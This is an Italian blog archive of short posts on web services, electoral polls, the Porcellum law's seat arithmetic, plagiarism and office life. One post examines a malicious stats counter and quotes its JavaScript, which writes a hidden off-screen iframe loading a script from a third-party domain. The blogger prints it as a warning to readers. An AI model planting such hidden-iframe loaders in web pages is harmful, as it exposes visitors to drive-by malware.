Tabber

Tra i vari servizi di aggregazione dati che stanno spuntando per ogni dove, ho ultimamente provato tabber. Innanzitutto faccio notare che – a differenza di quanto capita ultimamente – la “e” muta finale rimane scritta: uno si sarebbe insomma aspettato di avere tabbr, e inceve no. È anche vero che tabbr ricorda troppo “abbr”… chissà se la ragione è questa.
Una volta iscrittisi, si ha la possibilità di aggiungere una serie di servizi, come del.icio.us, flickr, Google Reader, digg, Facebook e così via, ma con una particolarità: vengono fatte vedere solo le sezioni pubbliche. Questo significa due cose, anzi tre: la prima è che non è necessario regalare delle password al servizio, il che è cosa buona e giusta: la seconda è che uno può usarlo per monitorare un’altra persona, e infine che forse è meglio evitare di usare come login un nome facilmente riconducibile a voi, se avete delle remore per la privacy… non che io ne abbia :-)

i giochi di prestigio di Rep.it

Continuano i tentativi di Rep.it di cercare di convincere il lettore che il PD ce la può fare: l’ultimo lo trovate qua, e mostra queste tabelle secondo cui è chiaro che al Senato ci sarà un pareggio nella migliore delle ipotesi per Silvio B. Come riescono a fare un gioco di prestigio simile? Beh, bisogna essere davvero bravi e fare tante cose.
(a) Non è stato fatto un sondaggio (anche perché in quel caso sarebbero stati costretti a pubblicarlo su sondaggielettorali, ma si sono basati su un non meglio identificato gruppo di sondaggi con qualche ulteriore focus. I sondaggi sono stati scelti accuratamente per dare il minimo vantaggio al PdL (cinque punti, quando la media è di otto).
(b) Le tabelle sono fatte immaginando che i seggi guadagnati da Sinistra Arcobaleno e UDC siano costanti: le uniche differenze tra i vari scenari consistono nel premio di maggioranza che viene dato all’uno o all’altro dei due principali partiti in alcune regioni chiave.
(c) non è affatto detto che i senatori a vita voteranno contro il governo, come indicato sotto: magari non parteciperebbero alla votazione, ma in genere il loro ruolo è di stabilità istituzionale.
Ma soprattutto (d) tutti questi conti sono fatti nell’ipotesi che l’UDC sia all’opposizione. E adesso non venitemi a dire che PierFurby ha giurato eterna vendetta contro Silvio: ricordo che non più tardi di dicembre 2007 Gianfranco Fini aveva spergiurato “mai più alleati con Forza Italia”. E in effetti è così: sono nello stesso raggruppamento elettorale che però non si chiama Forza Italia.
Come sempre insomma, non fermatevi ai titoli ma leggete, leggete, leggete!

Risolto il mistero dei dialer su splinder!

Domenica avevo scritto a proposito dei troiani che cercavano di intrufolarsi sul mio povero PC mentre navigavo sulle pagine di splinder. Oggi pomeriggio, mentre guardavo che succedeva da Copiascolla, mi sono visto in diretta il troiano che voleva cambiare la mia homepage (come se io non usassi SpyBot e TeaTimer per bloccare simili richieste :-) ) Mi sono messo a dare un’occhiata a quale parte del codice inserisse il tutto: dopo avere benedetto il fatto che Firefox ti permette di scrivere view-source: e visualizzare il sorgente di una pagina web invece che la pagina stessa, ho scoperto che il colpevole era il contatore delle statistiche. Se uno guarda http://stat.superstat.info/counter.php, o almeno lo guardava quando ho provato io, avrebbe trovato questo simpatico pezzo di codice:
if ( parseInt(pr17) <= parseInt("9") && parseInt(visit17) < 2 ) {
document.write('<div style="position:absolute;left:-5000px;top:-5000px;visibility:hidden;">');
document.write('<if'+'rame frameborder="0" src="http://a1p.cgste2.won-ppp.info/htm/cc1.php?p=55&cc2=it"><'+'/iframe>' );
document.write('</div>');
};
Ho già detto che io JavaScript non lo parlo, ma credo che sia abbastanza chiaro che viene aperto un iframe che chiama appunto uno script su won-ppp.info. Ho provato a guardare le informazioni di whois per superstat.info, e ho visto che il dominio è “nascosto”, o meglio registrato da domainsbyproxy.com, che afferma di essere un utile servizio perché i dati pubblici dei dominii non siano preda di spammer ma a me sembra più un sistema perché non si sappiano i dati degli spammer. L’ultimo aggiornamento del record è dello scorso ottobre: visto che Gaia mi ha detto che quel contatore ce l’ha da almeno un anno, non penso sia impossibile che il dominio sia scaduto e sia stato preso da qualcuno che usi il servizio come copertura – sì, lo so, fa tanto James Bond o il negozio di fiori dei vecchi Alan Ford, ma che ci volete fare?
Vabbè, se non avete capito nulla del pippone non è importante, visto che quello che conta :-) è solo quest’ultima riga. Se avete un contatore su superstat.info, toglietelo subito.

finalmente i quisss elettorali!

Mentre quest’anno si sono messi tutti a disquisire sul Porcellum, notavo che – a differenza di due anni fa – non si erano ancora visti i quiz che ti permettevano di sapere dove ti ponevi nel panorama politico italiano. Invece voisietequi.it, in collaborazione con openpolis.it, riaggiorna in salsa 2.0 il programma che aveva già preparato due anni fa.
Ci sono ancora dei problemi, e in effetti mi sa che il link sia ancora a una versione alfa: ad esempio gli approfondimenti non ci sono e quando ci sono non si vedono con Firefox, e l’immagine da mettere nel blog punta a un sito inesistente. Ma sono quisquilie: i curiosi che vogliano vedere la mia posizione politica – che del resto è abbastanza nota a chi mi legge – possono cliccare qua oppure sulla mia copia locale. Il quiz si compone di 25 (brevi) domande, con sei risposte possibili: numero pari per far fuori gli indecisi, chiaramente. Le posizioni di tutti i partiti sono indicate chiaramente nel sito, il che aiuta anche chi vuole avere delle idee un po’ più chiare rispetto ai comunicati tv: manca purtroppo l’idea di un questionario a doppia risposta (quanto uno è o meno favorevole, ma anche quanto uno è o no interessato al tema: un giudizio pesato è molto più importante di uno semplice).
Chicca finale che sarà sfuggita a molti: il pallino violetto con la strana sigla BCdL è in realtà la sovrapposizione di PCdL (Partito Comunista dei Lavoratori) e SC (Sinistra Critica). In pratica i due partiti danno esattamente le stesse risposte alle 25 domande poste loro: ma seguendo le migliori tradizioni della sinistra se ne stanno ciascuno per contro proprio :-)
(via Ipazia, che di per sé è un po’ più in alto di me)

EbonIvory : scopiazzatore a sbafo

Finalmente sono un Very Importante Bloggher! Una delle cose che mi rendevano triste è che vedevo tutti lamentarsi di trovarsi copiati i propri post da poveretti che evidentemente non riescono a spiccicare due parole da soli, e io niente. E invece no!
Stamattina ho scoperto che la notiziola su cosa può succedere in Umbria è stata copiata paro paro dallo scopiazzatore EbonIvory. Beh, no. Il titolo l’ha cambiato. Ma per quanto riguarda il resto, non si è nemmeno degnato dello sforzo di eliminare il riferimento a CiaoFabio, che così ora sarà conosciuto anche a Catania… Ho controllato, e non c’è l’ombra di un riferimento al mio sito, o al fatto che il testo non sia farina del suo sacco. Beh, ho il sospetto che le ricerche sul suo nick via Google gli daranno una sorpresina.

Leonardo è sempre più avanti di tutti noi!

I neoluddisti di rep.it lanciano l’allarme: i computer mandano nell’aria tanta anidride carbonica quanto l’aviazione civile. Per chi non avesse voglia di leggere l’articolo, il fatto è che un PC va avanti ad elettricità, l’elettricità si fa bruciando combustibili fossili, la combustione dei fossili emette CO2. Come si può capire, il punto su cui si può discutere è il secondo: gli aerei sicuramente bruciano kerosene, ma l’energia elettrica non è necessariamente fatta con combustibili fossili.
Bene. Non ci crederete, ma tutto questo era già stato previsto nel 2005 da Leonardo, il blogger più avanti di tutti noi (forse perché è uno dei pochi che ha iniziato prima di me, con ben nove mesi di anticipo). Occhei, 2025 come esperimento letterario non era il massimo, ma come i grandi della SF ha portato idee che solo i posteri potevano apprezzare. Clarke parlò di satelliti geostazionari e ascensori spaziali, Leo di biciclette che forniscono l’elettricità per i calcolatori: un po’ come i computer a manovella, ma con l’ulteriore vantaggio che in questo modo l’internauta medio, se costretto a pedalare per fare funzionare il suo pc, si mantiene in forma fisica, il che sicuramente non gli fa male.
Restano comunque ancora molti spazi per migliorare il sistema: ad esempio, applicare la metodologia fufme. Ma il Nostro era sicuramente sulla buona strada.
Un solo punto di attenzione: occorre stare attenti alla dieta, perché se le energie per le pedalate arrivano da bistecche va a finire che l’anidride carbonica emessa (dalle mucche) è ancora maggiore! :-)

Tagli in Telecom

Tornato in ufficio dopo l’allarme per la fuga di gas, mi sono trovato al freddo e al gelo peggio che in Tu scendi dalle stelle. I convettori funzionavano a tutta birra: peccato buttassero fuori aria fredda. Chiamiamo la squadra locale di operai, che vengono dopo pranzo, fanno un po’ di lavori, e dicono più o meno “guardate, adesso l’abbiamo messo in modalità manuale e sembra funzionare, ma non garantiamo nulla se poi ripartirà in automatico. Il guaio è che la manutenzione degli impianti è stata data in appalto alla Siemens, ma Telecom non ha pagato il canone e quindi loro non escono”.
Avevo appena letto stamattina su DNews che “Bernabè annuncia il super taglio delle spese”, però forse bisognerebbe dirgli che certe spese gestionali, più che appesantire l’organizzazione, impediscono un suo ricovero per polmonite…

Porcellum: può convenire non votare per il partito preferito

Uno dei tanti effetti malefici del Porcellum è che ci sono regioni in cui a un elettore può convenire votare un partito diverso da quello che vorrebbe, per migliorare il risultato complessivo per la sua parte. La cosa è piuttosto complicata, e anche se sul sito del Senato c’è il testo unico della legge elettorale (inutile guardare la legge stessa, che è composta da una serie di modifichine qua e là alla legge precedente) ci si può perdere. Come servizio pubblico, alla facciaccia di ciaoFabio, ho pensato di fare un esempio numerico per spiegare cosa succede.
Prendiamo ad esempio l’ultimo sondaggio sulla regione Umbria – la scelta è stata fatta solo perché era il più recente sondaggio regionale che ho trovato – e guardiamo le intenzioni di voto al Senato. In questo momento le intenzioni di voto danno PD: 43.5%, PdL: 36%, S.Arc.: 7.5%, Rosa Bianca: 6%, altri: quisquilie (oltre a un 26% di indecisi… ma questa è un’altra storia).
Se il risultato finale fosse effettivamente questo, le uniche due coalizioni che oltrepasserebbero la soglia di sbarramento all’8% sarebbero PD e Pdl. Quindi l’ufficio elettorale rinormalizzerebbe le loro percentuali relative normalizzate[1] a 54.7% e 45.3%. Ci sono sette seggi in palio: il riparto proporzionale dà 3.8 e 3.2 relativo, ma c’è il premio di maggioranza che porta immediatamente a 4 i seggi per il PD, lasciandone 3 al PdL. Già qua si capisce com’è che nonostante ci sia una legge maggioritaria il risultato finale al Senato sarà meno netto che alla Camera: non c’è un “il primo prende tutto” ma un “il primo prende un po’ di più”.
Ma adesso arriva il divertente. Supponiamo che l’1.5% di persone NON voti PD ma Sinistra Arcobaleno. (Basta anche lo 0.5%, in realtà, ma avevo voglia di avere un po’ di cifre tonde). Adesso avremo tre liste che raggiungono il quorum, e per la precisione PD: 42%, PdL 36%, S.Arc. 9%. Rifacciamo i conti: le percentuali normalizzate sono 48.3%, 41.4%, 10.3%. Ma c’è il premio di maggioranza, quindi il PD continua a prendere quattro dei sette seggi. Gli altri tre seggi devono essere divisi tra gli altri due partiti. La divisione dà 2.4 e 0.6 seggi rispettivamente; l’articolo 17 comma 5 della legge dice che si assegnano prima i valori interi (2 e 0 rispettivamente), e quello che resta va dato ai resti più alti. Lo 0.6 di S.Arc. è maggiore dello 0.4 del PdL, quindi l’ultimo seggio va alla Sinistra Arcobaleno.
Risultato finale: spostando dei voti dal PD alla Sinistra Arcobaleno, il PD rimane uguale mentre il PdL perde un senatore. Detto ancora in altro modo: l’elettore umbro del PD che vuole fare una differenza (non tanto come persone, visto che il Porcellum lo vieta, ma come schieramenti) dovrebbe controllare i sondaggi al Senato e spostare il proprio voto sulla Sinistra Arcobaleno. Semplice, no? No, non è affatto semplice, lo so: altrimenti non mi sarei messo a scrivere il pippone.
Per la cronaca, non vale la stessa cosa a destra: o meglio, se gli elettori PD votano la Rosa Bianca e le fanno raggiungere il quorum tolgono un senatore al PdL ma a vantaggio dei centristi, e se i votanti del PdL si spostassero al centro farebbero perdere il loro partito. In pratica, il gioco lo si può fare se (a) il proprio partito è quello di maggioranza relativa e (b) la differenza con il secondo partito è sufficientemente grande per non rischiare che il premio di maggioranza passi all’altro partito.
Spero di essere stato abbastanza comprensibile… sennò provate a chiedere nei commenti :-)
[1]tutti i voti per i partiti che non hanno raggiunto il quorum vengono tolti dal totale, proprio come si tolgono le schede bianche e nulle: insomma è come se nessuno avesse votato per loro… salvo il fatto che se hanno raggiunto l’1% i partiti ricevono le prebende i rimborsi elettorali. Uno statistico parla appunto di percentuali rinormalizzate.
Aggiornamento: (2 aprile) In Lombardia la situazione è ancora più divertente – o tragica, a seconda del punto di vista.